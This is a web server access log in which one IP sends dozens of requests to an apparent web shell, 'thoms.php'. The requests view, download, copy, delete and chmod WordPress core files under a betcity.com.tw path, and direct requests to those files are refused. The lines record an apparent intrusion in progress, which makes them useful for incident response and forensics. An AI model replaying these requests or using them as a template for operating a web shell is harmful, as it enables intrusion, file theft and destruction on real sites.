45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-pop3.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-pop3.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /betcity.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /betcity.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 200 12637 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11906 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /thoms.php?dl=class-walker-category.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59433 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11837 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /betcity.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 200 19705 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?del=l10n.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59430 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 200 23183 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:16 -0400] "GET /betcity.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /betcity.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /betcity.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 200 13902 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 200 12101 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?chmod=error-protection.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?dl=locale.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?dl=block-i18n.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:17 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:18 -0400] "GET /betcity.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:18 -0400] "GET /betcity.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fhttps-detection.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fhttps-detection.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpost.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpost.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:18 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 200 12152 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:18 -0400] "GET /thoms.php?del=style-engine.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 200 14295 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:18 -0400] "GET /thoms.php?del=SimplePie&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59408 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 200 15730 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 200 21018 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /thoms.php?chmod=class-IXR.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59366 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59451 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:19 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59467 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:20 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:20 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdate.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdate.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:20 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 200 12356 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:20 -0400] "GET /thoms.php?dl=deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:20 -0400] "GET /thoms.php?dl=default-filters.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 200 12331 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 200 17857 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /betcity.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?dl=class-IXR.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 200 21732 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 200 15623 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?dl=nav-menu.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59371 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59322 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
